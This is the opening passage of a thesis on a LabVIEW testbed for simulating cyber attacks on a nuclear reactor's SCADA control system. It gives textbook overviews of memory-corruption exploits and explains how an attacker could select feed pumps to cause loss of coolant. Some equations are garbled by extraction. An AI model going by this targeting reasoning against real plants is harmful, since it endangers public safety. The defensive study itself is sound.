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ABSTRACT 
 
 
A TESTBED TO SIMULATE CYBER ATTACKS ON NUCLEAR POWER 
PLANTS 
 
  
An approach is presented for a testbed that is constructed using LabVIEW for the 
simulation of cyber attacks on nuclear power plants in view of providing effective and 
adequate defenses against malfeasance Denial of Service (DoS) and Zero- day attacks.   
Nuclear power plants are critical infrastructures that must be safe and secure from 
undesirable intrusions: intrusions can be physical or cyber in nature. The increasing usage 
of digital control and computer systems, for Supervisory Control and Data Acquisition  
(SCADA) in the control rooms of the new generation of nuclear power plants, has 
introduced several cyber security issues that must be addressed. One of the most 
significant problems is that this new technology has increased the vulnerability of  
nuclear power plants to cyber security threats. Furthermore, this exposed vulnerability is 
one of the main reasons that the transition to digital control rooms connected to the 
internet has been slow and hesitant. In order to address these issues and ensure that a 
digital control system is safe and secure from undesirable cyber intrusions, the system 
must be evaluated with extensive tests and validation. These tests are used to verify that 
the installed systems are safe and will continue to properly function even under possible 
cyber attacks. 
 
The vulnerabilities of a nuclear power plant can be identified through conducting 
cyber security exercises, cyber security attacks scenarios, and simulated attacks. All these 
       
iii 
 
events can be performed using the control room in the nuclear power plant. However, this 
is a complicated and hampered process because of the complex hardware and software 
interactions that must be considered. Control rooms are also not ideal places to test cyber 
attacks and scenarios because any mishap can lead to detrimental consequences.  
This research presents an approach to build a testbed that captures the relevant 
complexity of a nuclear power plant, its control room and associated cyber infrastructure. 
This testbed is developed and designed to assess the vulnerabilities that are introduced by 
using public networks for communications. The testbed is also used to simulate different 
cyber attack scenarios. It is used to develop cyber attack detection mechanisms based on 
the understanding of the physical system. Results imply that this testbed can be 
successfully used to simulate cyber attack and suggest the corresponding detection 
scenarios.   
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CHAPTER 1  
INTRODUCTION 
 
Nuclear power accounts for approximately 20% of all the electric power 
generation in the United States. Currently, there are 103 nuclear power plants operating 
in the United States, with a capacity of nearly 98,000 megawatts (MW). These plants are 
either Pressurized Water Reactors (PWRs) or Boiling Water Reactors (BWRs). Every 
nuclear power plant has a local process control system that is used to monitor and control 
the plant.  
 
The U.S. Nuclear Regulatory Commission (NRC) is responsible to regulate and 
monitor commercial nuclear reactors. The NRC is responsible for licensing plants, as 
well as performing regular inspections to ensure compliance with safety and most 
security requirements. Due to their nature, nuclear power plants should be the safest and 
most secure part of any electricity generation facilities. Nuclear power plants must 
comply with the design basis threats determined by the NRC [1, 2]. The design basis 
threats include all conceivable and credible attacks that could result in the release of 
radioactivity. The physical safety of the plants against any external intrusion is also 
paramount. Plant security personal often perform routine force-on-force exercises to 
demonstrate their ability to respond to such attacks. 
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The spread of new computer technologies in the new generation of nuclear 
reactors (Generation III+ and IV) have brought forth many advantages as well as risks. 
While Generation II reactors are still based on analog control rooms, increasingly 
powerful computers are becoming prevalent, not just in the control rooms, but also in the 
field in the form of Intelligent Electronic Devices (IDEs) in the next generation of 
Nuclear Power Plants (NPPs) [3]. They allow for efficient network based 
communications, the use of Supervisory Control and Data Acquisition (SCADA) 
systems, and more efficient operation of the plants. Unfortunately, these new 
technologies that involve the standard networks and protocols expose the devices to 
possible cyber attacks. If a cyber attack were to take place at a Nuclear Power Plant 
(NPP), it would most likely target the process control system [3-5]. 
 
Control systems are usually composed of a set of network agents, consisting of 
sensors, actuators, control processing units such as Programmable Logic Controllers 
(PLCs), and communication devices [6]. For example, nuclear power plants use 
integrated control systems in several operations such as moving the control rods in NPP, 
remotely monitoring the pressure and flow of coolant, and power generation [7].  
 
The control system of the nuclear power plant is labeled as “safety-critical”, 
meaning its failure can cause irreparable harm to the physical system being controlled 
and to the people who depend on it. SCADA systems, in particular, perform vital 
functions in national critical infrastructures, such as electric power distribution, oil and 
natural gas distribution, solar and wind power generation, water and waste-water 
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treatment, and transportation systems. They are also at the core of health-care systems, 
weapons systems, and transportation management. The disruption of these control 
systems could have a significant impact on public health and safety, and lead to large 
economic losses [3].  SCADA systems are also widely used in the next generation of 
NPPs [7]. 
 
Determining the vulnerabilities of the control system in the NPPs that use these 
devices is a complicated and continuously evolving process due to the complexity of the 
system and due to the continuously evolving nature of the potential attacks. One approach 
is to build a comparatively simple system that captures the relevant complexity, i.e. a 
testbed. The testbed can be used as a tool to capture the vulnerabilities of the system and 
run cybersecurity exercises. The cybersecurity exercises include different scenarios to 
attack the testbed. The testbed can be used to simulate the impact of the attack on the 
NPPs. On the other hand, the attack detection algorithm can also be an integrated part of 
the testbed.  It can monitor the physical system under control and raise an alert when an 
attack is detected.  The alert can be in the form of a message to the operator alerting 
about the attack, as well as to suggest response(s) to the attack in an appropriate, time 
sensitive manner.       
 
The primary objective of this work is to develop a simulation testbed that can be 
used to carry out simulation experiments to determine the vulnerabilities of the digital 
control room in NPPs to cyber security threats.  A secondary objective is to carry out 
simulations with some of the commonly known cyber attack scenarios.  To achieve this 
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goal, we first develop a testbed that simulates the control system in the nuclear power 
plant to assess the vulnerabilities introduced by using public or private networks for 
communication. Secondly, we use the knowledge of the physical system under control to 
design and develop different cyber attack scenarios that violate the confidentiality, 
integrity and availability in the testbed. These scenarios will help us to understand how 
the system will react under diffident scenarios, and will be used as a tool to assess the 
risks associated from cyber attacks. Finally, in order to detect modifications to the sensed 
or controlled data as soon as possible, before the attack causes irreversible damages to the 
system, we propose the security mechanisms that detect attacks by monitoring the 
physical system under control. Results of such simulations can then be used to evaluate 
and design improved digital control system designs.  
 
The proposed testbed includes a simple nuclear reactor simulator with interactive 
features. The simulator includes variables such as reactor power, temperature, and 
precursors concentration. The simulator provides virtual instrument and graphical user 
interface to the operator to control the virtual nuclear power plant and provide the 
behavior of the system in real time.   The simulator consists of two parts: Client side and 
Server side, both of them run on different machines and use a wide area network for 
communication. The Client side and the Server side use the TCP/IP network protocol for 
the communication. 
 
The present work attempts to initiate a discussion between the control and the 
security practitioners–two areas that have had little interaction in the past. It is believed 
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that control engineers can leverage security engineering into an improved design. This 
new design would be based on a combination of control algorithms, which go beyond 
safety and fault tolerance, and will include considerations on surviving targeted cyber 
attacks. 
The remainder of this work is organized as follows: Chapter 2 puts this effort into 
prospective by describing the relevant background information. Related work on security 
assessment techniques for power systems and computer networks is discussed in Chapter 
3. Chapter 4 describes the architecture and implementation of our simulation model, and 
discusses the simulation results. Different cyber attack scenarios are also formulated in 
this chapter. Chapter 5 discusses the detection mechanism of the cyber attacks. Lastly, the 
thesis is concluded with a short discussion and possible future work in Chapter 6. 
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CHAPTER 2 
BACKGROUND 
 
A brief background of relevant technical areas relevant to this work is given in this 
chapter. SCADA systems are described in Section 2.1, followed by discussion about 
computer attacks on Process Control System in Section 2.2.  For those with no exposure 
to nuclear systems, a brief description of the role of SCADA systems in nuclear power 
plant is given in Section 2.3.   
2.1. Supervisory Control and Data Acquisition (SCADA) 
Systems 
Computer-based supervisory control and data acquisition (SCADA) systems have 
changed from standalone, compartmentalized operations into networked architectures 
that communicate across large distances. Their implementation has migrated from custom 
hardware and software to standard hardware and software platforms. These changes have 
led to reduced development, operational, and maintenance costs as well as providing 
executive management with real-time information that can be used to support planning, 
supervision, and decision making  [8-11]. 
The industrial control systems using trade-mark hardware and software are now 
vulnerable to intrusions through external networks, including the Internet, as well as from 
internal personnel. These attacks take advantage of vulnerabilities in standard platforms, 
such as Windows, and PCs that are used in SCADA systems. This situation lead to attack 
progression concerns due to the fact that SCADA systems are controlling a large 
percentage of the world’s critical infrastructures, such as nuclear power plants, other 
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electricity generating plants, pipelines, refineries, and chemical plants.  They are directly 
and indirectly involved in providing services to seaports, transportation systems, 
pipelines, manufacturing plants, and many other critical enterprises [12, 13]. 
Supervisory control and data acquisition (SCADA) systems are considered to be 
the nervous system of most critical infrastructures. SCADA provides management with 
real-time data on production operations, implement more efficient control paradigms, 
improves plant and personnel safety, and reduces costs of operation. These benefits are 
made possible by the use of standard hardware and software in SCADA systems 
combined with improved communication protocols and increased connectivity to outside 
networks, including the Internet. 
2.1.1. SCADA System Architecture 
Specific terminology is associated with the components of SCADA systems. These 
SCADA elements are defined as follows: 
• Operator: Human operator who monitors the SCADA system and performs 
supervisory control functions for the remote plant operations. 
• Human Machine Interface (HMI): Presents data to the operator and provides for 
control inputs in a variety of formats, including graphics, schematics, windows, 
pull-down menus, and touch-screens. 
• Master Terminal Unit (MTU): Equivalent to a master unit in master/slave 
architecture. The MTU presents data to the operator through the HMI, gathers 
data from the distant site, and transmits control signals to the remote site. The 
transmission rate of data between the MTU and the remote site is relatively low 
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and the control method is usually an open loop because of possible time delays or 
data flow interruptions. 
• Communications means: Communication method between the MTU and remote 
controllers. Communication can be through the Internet, wireless or wired 
networks, or the switched public telephone network. 
• Remote Terminal Unit (RTU): Functions as a slave in the master/slave 
architecture. It sends control signals to the device under control, acquires data 
from these devices, and transmits the data to the MTU. An RTU may be a 
Programmable Logic Controller (PLC). The data rate between the RTU and 
controlled device is relatively high and the control method is usually closed loop. 
A general diagram of a SCADA system is shown in Figure 2.1. 
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Human Machine Interface-HMI
Central Control Station (Master 
Terminal Unit-MTU)
Field Data Acquisition & Control Unit 
(REMOTE TERMINAL UNIT-RTU; 
may be Programmable Logic 
Controller-PLC)
Field Data Acquisition & Control Unit 
(REMOTE TERMINAL UNIT-RTU; 
may be Programmable Logic 
Controller-PLC)
Communication via Internet, Wireless Network, Wired 
Network, or Switched Public Telephone Network (Relatively 
low data rate, usually open loop control)
(Relatively High Data Rate, Usually Closed Loop Control)
Operator
Figure 2.1 Typical SCADA system architecture 
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Modern SCADA architectures rely heavily on standard protocols and digital data 
transmission. For example, a communications protocol such as the Foundation Fieldbus 
is applied in conjunction with industrial Ethernet radios [10]. These Ethernet radios 
provide data rates of 512 kbps, a large increase over those provided by EIA-232 serial 
links. For security, industrial Ethernet access points use spread-spectrum frequency 
hopping technology with encryption [10, 11]. 
As discussed previously, the SCADA architecture comprises two levels: a master 
or client level at the supervisory control center and a slave or data server level that 
interacts with the processes under control. In addition to the hardware, the software 
components of the SCADA architecture are important. 
 
2.1.2. SCADA System Security Issues Overview 
For reasons of efficiency, maintenance, and economics, data acquisition and 
control platforms have migrated from isolated in-plant networks, using proprietary 
hardware and software, to PC-based systems using standard software, network protocols, 
and the Internet. The downside of this transition has been the exposure of SCADA 
systems to the same vulnerabilities and threats that plague Windows-based PCs and their 
associated networks. Some typical attacks that might be mounted against SCADA 
systems that employ standard hardware and software are listed here: 
• Malicious code such as viruses, Trojan horses, and worms 
• Unauthorized disclosure of critical data 
• Unauthorized modification and manipulation of critical data 
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• Denial of service attacks  
• Unauthorized access to audit logs and modification of audit logs 
Most SCADA systems, particularly the local Programmable Logic Controllers 
(PLCs), have to operate in real-time or near real-time environments. Thus, they cannot 
afford delays that might be caused by information security software and that interfere 
with critical control decisions affecting personnel safety, product quality, and operating 
costs. Also, the plant SCADA system components do not usually have excess memory 
capacity that can accommodate relatively large programs associated with security 
monitoring activities.  
In summary, conventional Information Technology (IT) systems are concerned with 
providing for internal and external connectivity, productivity, extensive security 
mechanisms for authentication and authorization, and the three major information 
security principles of confidentiality, availability, and integrity. Conversely, SCADA 
systems emphasize reliability, real-time response, tolerance of emergency situations 
where passwords might be incorrectly entered, personnel safety, product quality, and 
plant safety [8, 10]. 
 
2.2. Computer Network Attacks on Process Control Systems 
There are several cyber threats that use low-level coding vulnerabilities to attack a 
large number of process control systems in production. Low-level coding vulnerabilities 
are defined as a programming error that corrupts the memory of a program. The 
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exploitation of such vulnerabilities generally takes the form of control-data or Non-
control attacks. 
Control data attacks are considered the most critical security threats. They alter the 
target program’s control data (data that are loaded to processor program counter at some 
point in the program execution, e.g., return addresses and function pointers) in order to 
execute injected malicious code or out-of context library code (in particular, return-to-
library attacks). The attacks usually make system calls (e.g., starting a shell) with the 
privilege of the victim process. Non-control data attacks corrupt a variety of application 
data including user identity data, configuration data, user input data, and decision-making 
data, i.e., computational data usually held by global or local variables in a computer 
program. Some real world examples of low-level coding vulnerabilities in process control 
systems include buffer overflow, format string vulnerability, integer overflow, and 
double free attack [14]. 
2.2.1. Buffer Overflows 
Buffer overflow, or buffer overrun, is an abnormality that occurs when a program, 
while writing data to a buffer, overruns the buffer’s boundary due to insufficient bounds 
checking, and corrupts the data values in memory addresses adjacent to the allocated 
buffer. Buffer overflows can be triggered by inputs that are designed to execute code, or 
alter the way the program operates. This may result in erratic program behavior, 
including memory access errors, incorrect results, a crash, or a breach of system security. 
They are thus the basis of many software vulnerabilities and can be maliciously exploited 
[11]. 
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The technique used to exploit buffer overflow vulnerability depends on the 
architecture, operating system, and memory region. For example, in stack-based 
exploitation, the attacker can overwrite a local variable that is near the buffer in memory 
on the stack, to change the behavior of the program, and overwrite the return address in a 
stack frame. Once the function returns, execution will resume at the return address as 
specified by the attacker, which includes the malicious code. Another possibility is to 
overwrite a local variable that is near the buffer in memory on the stack, which will 
change the behavior of the program and exploit buffer overflow vulnerability.  While on 
heap-based exploitation, the buffer overflow attack occurs in the heap data. Memory 
locations on the heap are dynamically allocated by the application at run-time and contain 
program data. Exploitation is performed by corrupting this data in specific ways, which 
will cause the application to overwrite internal structures such as linked list pointers. The 
canonical heap overflow technique overwrites dynamic memory allocation linkage, and 
uses the resulting pointer exchange to overwrite a program function pointer [8]. 
2.2.2. Format String Vulnerabilities 
Format string vulnerability is a programming error that allows an adversary to 
specify the format string to a format function. An adversary may have the possibility to 
specify a format string directly. An example of this, in the C programming language, 
involves a number of functions which accept a format string as an argument. These 
functions include fprintf, printf, sprintf, snprintf, vfprintf, vprintf, vsprintf, vsnprintf, 
setproctitle, syslog, and others. 
Format string vulnerability attacks fall into three categories: denial-of-service, 
reading, and writing. Denial-of-service attacks are characterized by utilizing multiple 
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instances of the %s format specifier to read data off of the stack until the program 
attempts to read data from an illegal address, which will cause the program to crash.  
Reading-attacks typically utilize the %x format specifier to print sections of memory that 
we do not normally have access to. Writing-attacks utilize the %d, %u or %x format 
specifier to overwrite the Instruction Pointer and force execution of user-supplied shell 
code [11]. 
2.2.3. Integer Overflows 
There are two kinds of integer errors, namely integer overflows and integer sign 
errors. An integer overflow occurs when an integer variable is assigned a value that is 
larger than the maximum value it can hold. When an integer variable is overflowed, no 
buffers are smashed, thus integer overflow vulnerability is not directly exploitable. 
An integer overflow condition exists when an integer, which has not been 
properly sanity checked, is used in the determination of an offset or size for memory 
allocation, copying, concatenation, or other similar tasks. If the integer in question is 
incremented past the maximum possible value, it may wrap to become a very small or 
negative number, therefore providing an incorrect value. The consequences include, 
availability, in which integer overflows generally lead to undefined behavior and 
therefore crash. In the case of overflows involving loop index variables, the likelihood of 
infinite loops is also high. Also, if the integer overflow has resulted in a buffer overflow 
condition, data corruption will most likely take place. Integer overflows can sometimes 
trigger buffer overflows which can be used to execute arbitrary code. This is usually 
outside the scope of a program's implicit security policy [8]. 
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2.2.4. Dangling Pointers 
Dangling pointer vulnerability arises when an object is deleted or deallocated, without 
modifying the value of the pointer, resulting in a pointer that still points to the memory 
location of the deallocated memory. A double-free occurs when deallocated memory is 
deallocated a second time; such vulnerability may cause a program to assume abnormal 
behavior, and in the case of a double-free vulnerability, it may lead to complete program 
exploitation. The system may reallocate the previously freed memory to another process, 
and if the original program then dereferences the dangling pointer, unpredictable 
behavior may result, as the memory may now contain completely different data [8, 9]. 
2.3. SCADA in Nuclear Power Plants 
Nuclear power plants are extremely important elements in a nation’s critical 
infrastructure. NPPs with digital control rooms are sensitive to SCADA attacks. In a 
Light Water Reactor (LWR) nuclear power plant, the nuclear reactor generates heat that 
produces high-pressure steam. The steam is used to power turbines that provide energy to 
electrical generators. The process is similar to that used in fossil fuel plants, but the 
source of heat in a nuclear power plant is the reactor instead of the burning of fossil fuels. 
The heat is the result of a nuclear fission reaction in which atoms with large 
atomic numbers are broken into two atoms when hit by neutrons. This splitting also 
produces a relatively large amount of energy and releases additional neutrons. The newly 
generated neutrons, in turn, collide with other large atomic number nuclei and a chain 
reaction is sustained. A typical reaction is the breakdown of Uranium 235 (U235), which 
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creates strontium, xenon, an average of 2.47 neutrons, and about 200 million electron-
volts (MeV) of energy. A typical fission reaction is:   
𝑈!"# + 𝑛! ! → 𝑋𝑒!"# + 𝑆𝑟!" + 2.47 𝑛! ! + 203  𝑀𝑒𝑉 
In order to sustain the reaction, fast neutrons that are generated must be slowed 
down to energy levels that are optimum for inducing fission in the U235 nuclei. These 
slower neutrons are known as thermal neutrons. A moderator is used to slow down the 
neutrons. A widely used moderator that also acts as the coolant to extract the fission heat 
is water. The energy released by this sustained chain reaction is manifested as heat that 
generates steam to power the steam turbines. Control of the nuclear reactor is 
accomplished by moving neutron-absorbing materials in the form of rods in and out of 
the reactor. A typical rod is composed of silver, indium, and cadmium. At steady state 
operation, burnable absorbers (of neutrons) in addition to neutron absorbers such as 
boron diluted in water are also used to keep the reactor critical. 
In the United States, the nuclear power plants use water as a moderator and 
coolant. These reactors are known as Light Water Reactors (LWR). The two main types 
of light water reactors are defined by the state of the water in the core. In the Boiling 
Water Reactor (BWR), the water is allowed to boil, and it results in steam that is used to 
directly power the turbines. This steam exhibits a low level of radioactivity with a half-
life of about one-half second. In the PWR, two separate loops are used with a heat 
exchanger to isolate the radioactive water flowing through the core from the steam 
circulated to the turbines. 
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2.3.1. The Boiling Water Reactor, BWR 
A typical BWR that generates 1,220 megawatts of electrical power has 
approximately 180 neutron-absorbing control rods that have to be operated. Safety 
features for these reactors include an Emergency Core Cooling System (ECCS) to 
prevent the core from overheating. A general diagram of a BWR is given in Fig. 2.2. 
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Figure 2.2 Boiling Water Reactor (BWR) diagram 
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2.3.2. The Pressurized Water Reactor, PWR 
The PWR is used widely throughout the world and in nuclear propulsion. In this 
reactor, the coolant is kept under pressure to prevent boiling. It uses two separate water 
loops as shown in Figure.2.3. The pressures in both loops, the primary and secondary, 
must be controlled for safe and proper operation. The critical pressure in the primary loop 
is controlled by a pressurizer connected to the piping system. 
Reactor Coolant Pump
Pressurizer Turbine
Condenser
High Pressure Heaters 
Condensate Pump
Feed Pump
Low Pressure Heaters
Generator
Reactor
Steam
Primary Loop
Secondary 
Loop
 
Figure 2.3 Pressurized Water Reactor (PWR) diagram 
       
20 
 
2.3.3. Possible Attack Consequences 
As opposed to conventional fossil fuel, which can be completely shut off by 
simply turning off the fuel supply, the fuel for a nuclear power plant is “kept” in the core 
before it needs refueling (within one to two years). The reaction rate in a nuclear power 
plant is controlled to maintain criticality (sustained chain reaction) as the fuel burns.  
Furthermore, even when a nuclear plant is shut down, radioactive decay still occurs and 
some amount of heat continues to be generated. This decay heat must be removed or the 
reactor core will melt, causing a situation similar to the accident at the Three Mile Island 
Unit 2 (TMI-2) nuclear power plant near Middletown, Pennsylvania, on March 28, 1979, 
or more recently at some of the plants at Fukushima, Japan [15]. In the case of TMI-2, a 
partial meltdown of the reactor core was caused by a series of events including operator 
errors, design flaws and malfunctioning equipment. Fortunately, only a small amount of 
radiation was released and there were no casualties. Because of this accident, the U.S. 
Nuclear Regulatory Commission (NRC) increased safety and oversight requirements for 
nuclear power plants. The fear is that a hypothetical cyber attacker can recreate the 
situation that was inadvertently created by an unfortunate set of events by taking 
advantage of vulnerabilities in SCADA system of digitally controlled NPPs. 
SCADA-type systems are responsible for controlling heat removal and handling 
other normal and emergency situations in the nuclear power plant. Therefore, any 
interference with the operation of the SCADA system can have dramatic and dangerous 
consequences. Another troubling situation is spent nuclear fuel, which also contains the 
radioactive products of the fission process. This spent fuel can be reprocessed to produce 
new fuel rods or it can be stored in pools in nuclear power plants. When stored in a pool 
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on site, it must be cooled for nearly five years before it can be moved to dry storage on 
site, or to off-site locations. Vulnerabilities in the cooling system of the spent fuel pool 
may also become target of cyber attacks. 
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CHAPTER 3 
RELATED WORK 
 
This work has benefitted from related work on cyber security for power grids, cyber 
attack detection techniques for computer networks, and both general and specific 
techniques that target critical infrastructure protection. Some of these are briefly 
described below. 
3.1. Cyber Security for the Power Grid 
Power grids are undergoing a revolutionary transition evolving into “smart grid”.  
The new generation of power grids requires new computer technologies, networked 
control and SCADA system, but use of these technologies is associated with a drawback.  
A power grid has a large number of switches that affect the way power is routed and 
distributed within various component systems. These switches are often controlled 
remotely through SCADA (but can also be switched manually). Changing the status of 
the switching devices in a substation allows some interesting attack scenarios from an 
intruder’s point of view. A denial of service attack on the controlling relay would cause a 
failure in reporting the proper state in time (and might require manual intervention). Even 
more serious, a buffer-overflow in a networked device (allowing execution privileges) 
can allow an attacker to black-out a feeder or overload a transformer. The latter is a very 
serious attack as transformers are expensive and hard to replace [16-18]. 
Trustworthy Cyber Infrastructure for the Power grid (TCIPG) is a project at the 
University of Illinois with the intent to address the new vulnerabilities in the power grid. 
TCIPG is focused on securing the low-level devices, communications, and data systems 
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that make up the power grid, to ensure trustworthy operation during normal conditions, 
cyber-attacks, and/or power emergencies [16, 18].  Davis and others developed a testbed 
to determine the vulnerabilities of the power grid and simulate different cyber attack 
scenarios [18]. Bergman and Nicol presented Virtual Power System Testbed (VPST) to 
explore performance and security of Supervisory Control and Data Acquisition (SCADA) 
protocols and equipment [17].  
3.2. Cyber Attack Detection 
Currently, there are two approaches to detect cyber attacks. First, Host Intrusion 
Detection Systems which reside on, and monitor an individual host machine. There are a 
number of system characteristics that a host intrusion detection system can utilize in 
collecting data: including, file system changes, network events, and system calls, with 
some modification of the host's kernel [3, 19]. Secondly, Network Intrusion Detection 
Systems, a network cyber attack detection system, monitors the packets that traverse a 
given network link, by analyzing the characteristics of the network traffic, which can 
identify the cyber attack [3, 20, 21, 22]. 
Rrushi developed intrusion detection models. These do not include dynamical models 
of the process control system. Further research on dynamical system models used in 
control theory as a tool for specification based intrusion detection systems are needed [4]. 
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CHAPTER 4 
SIMULATION AND MODELING  
 
In this work, a testbed has been developed to simulate cyber attacks scenarios and 
model the control system and the physical operations in the nuclear power plant. The 
testbed includes a nuclear reactor simulator, which is a TCP/IP network application that 
simulates a typical Boiling Water Reactor (BWR). 
 
A LabVIEW application was developed to simulate the existence of a large set of 
the physical components of a nuclear power plant.  Figure 4.1 shows the schematic 
diagram of the integrated testbed.  The Figure shows the physical components and the 
cyber components. The two interact closely with each other. A remote access from public 
or enterprise to the SCADA system may provide the cyber part access to measurement 
data from the physical plant, and deliver the control data from the cyber part to the 
physical part.  
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Figure 4.1 Nuclear power plant model that is used to develop the testbed. (The top left image is adapted from 
Ref. [23].) 
 
The SCADA system in the nuclear power plant plays a critical role in the control 
room of the nuclear reactor. It controls the control rod sequence, neutron monitoring, core 
cooling, turbine generator, feedwater control, and other important processes and 
equipment. For example, the rate of neutron production in the fuel region is determined 
by the SCADA system upon receiving signals that are transmitted by detectors located 
within the reactor core. The sensing capabilities of these sensors are based on physical 
processes occurring in the reactor. 
Technically a successful implementation of cyber attacks on a nuclear power 
plant requires the identification of a defined SCADA system, which controls a target 
nuclear power plant component and contains the knowledge of the operation of this 
SCADA system on the target nuclear power plant component. For example, an attack 
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carried out to cause a loss of reactor coolant requires the identification of one or more 
SCADA systems which implement control functions on reactor feed pumps. These feed 
pumps make the water flow through the reactor vessel. Attackers can acquire information 
on target nuclear power plant components through analyses of control traffic flowing 
over process control networks. By identifying the values of control variables such as 
neutron population, temperature, pressure, power level, reactivity, etc., and the valves, 
pumps, circuit breakers, motors, etc., which are used by SCADA systems in monitoring 
and operating the plant, attackers can derive the aforementioned information necessary 
for a target selection. 
We present the details of the testbed architecture and implementation in section 4.1, 
and in section 4.2 we discuss the attacks scenario and implementation.    
 
4.1. Testbed Architecture 
The testbed has three components: nuclear reactor simulator, client –server protocol 
and wide area network. The nuclear reactor simulator is network application that 
simulates the nuclear reactor and consists of two parts. The first part simulates the control 
room and the second one simulates the reactor core. The simulator uses the TCP/IP 
(client-server) network protocol for communication. The wide area network provides the 
communication infrastructure for the simulator. 
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4.1.1. Nuclear Reactor Simulator  
A nuclear reactor simulator has been developed using LabVIEW to mimic and 
analyze a nuclear reactor. The simulator consists of two parts: client side and server side. 
The client side simulates the control room and the server side simulates the reactor core. 
Figure 4.2 shows the simulation environment in which the simulator shows the client and 
server running simultaneously while utilizing a wide area network for communication. 
This is a TCP/IP simulator. Initially the system runs with default configuration where the 
control signal is set to an initial value. The client sends the control signals value to the 
server, and then on the server side, these control signals are used as inputs to solve a 
mathematical model of the nuclear reactor. The results of the solution are returned from 
the server to the client, and are   displayed in the graphical user interface.  For each time 
step, the loop is repeated until the end of the pre-specified simulation time. 
 
Wide Area Network
Port 3000 Port 3000
Control Room
Nuclear Reactor Server
 
Figure 4.2 Client–Server architecture 
 
The nuclear reactor simulator solves a mathematical model of a BWR that contain the 
very basic but essential processes that control the dynamic behavior of the BWR. The 
simplest logical model that retains the essential physical processes controlling the 
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dynamic behavior of a BWR contains a one-point representation of the reactor kinetics, a 
one-node representation of the heat transfer process in the fuel, and a two-node 
representation of the channel thermal hydraulics to account for the void reactivity 
feedback. These processes can be combined to form the closed-loop model shown in the 
block diagram. 
POINT 
REACTOR 
KINETICS
DOPPLER 
EFEECT FUEL
FLOW 
CHANNEL
VOID
REACTIVITY
REACTIVITY POWER
 
Figure 4.3 Block diagram of the reduced-order model [24] 
 
In the time domain, the mathematical description of the closed loop can be 
represented by the following system of ordinary differential equations [24-26], 
Forward Loop: 
𝑑𝑛(𝑡)𝑑𝑡 = 𝜌 𝑡 −   𝛽𝛬 𝑛 𝑡 + 𝜆𝑐 + 𝜌𝛬                                                                                                             (1) 
   𝑑𝑐(𝑡)𝑑𝑡 =   𝛽𝛬 𝑛 𝑡 − 𝜆𝑐                                                                                                                                                            (2) 
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 Feedback Loop:   
    𝑑𝑇(𝑡)𝑑𝑡 = 𝑎!𝑛 𝑡 − 𝑎!𝑇 𝑡                                                                                                                                             (3) 
       𝑑!𝜌!(𝑡)𝑑𝑡! +   𝑎! 𝑑𝜌!𝑑𝑡 +   𝑎!𝜌! = 𝐾𝑇 𝑡                                                                                                   (4) 
 𝜌 𝑡 = 𝜌! 𝑡 + 𝐷𝑇 𝑡                                                                                                                                                         (5) 
   
 
where: 𝑛(𝑡) = Excess neutron density normalized to the steady-state neutron density  𝑐(𝑡) = Excess delayed neutron precursor concentration, also normalized to the steady-
state neutron density   𝑇(𝑡) = Excess average fuel temperature 𝜌!(𝑡) = Excess void reactivity feedback 𝛽 = Delayed precursor fraction  𝜆 =Decay constant 𝛬 = Neutron generation time 𝐷 = Doppler reactivity coefficient  
 
Equations (1) and (2) represent the forward loop and correspond to the point 
kinetics approximation of the neutron dynamics. The feedback loop is formed by 
equations (3), (4), (5). Equation (3) results from a one-node expansion of the heat transfer 
equation in the fuel. Equation (4) is an approximation to the dynamics of the flow 
channel; it relates the change in reactivity to changes in void reactivity. 
The parameter K, which is proportional to the void reactivity coefficient, the fuel 
heat transfer coefficient and the fuel heat transfer coefficient, control the gain of the 
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feedback and, thus, define the stability of this reactor model. The value of k0 given in 
Table 4.1 is the critical value above which the model becomes unstable. By artificially 
increasing the value of the K above k0, the model can be made unstable and can be used 
to study the BWR dynamic behavior in the regime where the reactor is unstable. Table 1 
below shows the default values of the model parameters that are used in this work [23, 
25]. 
Table 4.1 Model Parameters [23] 
Parameter Value Units 𝑎! 25.04 K.s-1 𝑎! 0.23 s-1 𝑎! 2.25 s-1 𝑎! 6.82 s-2 𝑘! -3.70*10-3 K-1.s-2 𝐷 -2.52*10-5 K-1 𝛽 0.0056 --- 𝛬 4.00*10-5 s-1 𝜆 0.08 s-1 
 
4.1.1.1. Client Side 
The client side provides a graphical user interface that offers several functions 
that mimic real world operations of the nuclear power plant. In addition, it provides a 
graphical view of different state variable of the nuclear power plant. The information 
used to drive the display is obtained via TCP/IP from the server side (reactor core). This 
approach mimics a control room display that is obtaining SCADA data from the nuclear 
power plant over a communications network.  
The ability to control, rather than simply view, power system elements is also a 
key component of real nuclear power plant operations. The client side supports control 
       
31 
 
actions, such as moving the control rod, and it provides a simple display of data 
associated with parameters controlled by the operator. All state variable data displayed on 
the client side must first be communicated over the network from the server to the client. 
This decoupling of the display (the control room) from the data source (the reactor core) 
enables independent modification and testing of the display, communications networks, 
and power plant without affecting other components of the testing environment. 
The client sends control signals to the server side through a TCP connection.  
TCP open connection is a command that has two requirements: a port number and an IP 
address. The IP address specifies the machine being used and the port number specifies 
the application that is being run on the machine. Likewise, the application (server) is 
responsible for receiving the command from the client side.  After the connection setup, 
the client sends a command using the TCP write to the server side. On the server side, 
this command will be used as input to solve the mathematical model, and after that, the 
client will read the response (solution result) using the TCP read command. At this point 
the data is available on the client side and ready to be viewed on charts by the operator. 
Figure 4.4 illustrates the protocol that uses the control data to generate the state data. 
 
 
Figure 4.4 Client side Transmission Control Protocol (TCP) configuration 
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The client side consists of two parts: the first one is the control panel (graphical 
user interface) which allows the operator to configure the simulator and send control 
signals; the second part is the SCADA which operates behind the GUI allowing the 
operator to control the nuclear reactor.     
 
Figure 4.5 Client side – program settings tab in the control panel   
 
  Figure 4.5 shows the control panel part of the client side. It shows the program 
setting tab in the control panel that allows the operator to identify the IP address of the 
remote machine that run the server part of the simulator. The control signals tab allow the 
operator to send different values of the reactivity which simulate moving the control rod 
in order to increase or decrease the power level as shown in Fig.4.6. 
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Figure 4.6 Client side – control signal tab in the control panel   
 
 The second part on the client side consists of the SCADA, which includes four 
windows that allow the operator to monitor the state of the nuclear reactor.  The four 
windows show the reactor power level, temperature level, reactivity and precursor 
concentration, respectively.   
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Figure 4.7 Client side reactor power tab in the SCADA panel   
 
 
Figure 4.8 Client Side temperature level tab in the SCADA panel   
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Figure 4.9 Client side reactivity tab in the SCADA panel    
 
 
Figure 4.10 Client side precursor concentration tab in the SCADA panel    
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4.1.1.2. Server Side 
The purpose of the nuclear reactor server is to simulate the nuclear reactor by 
solving a mathematical model of the physical operations in the nuclear reactor. The 
server side solves the system of differential equations given in section 4.1.1 by using a 
simple finite difference approach. The server side provides the SCADA with data that 
would typically be fed from sensors located in various locations in and around the reactor 
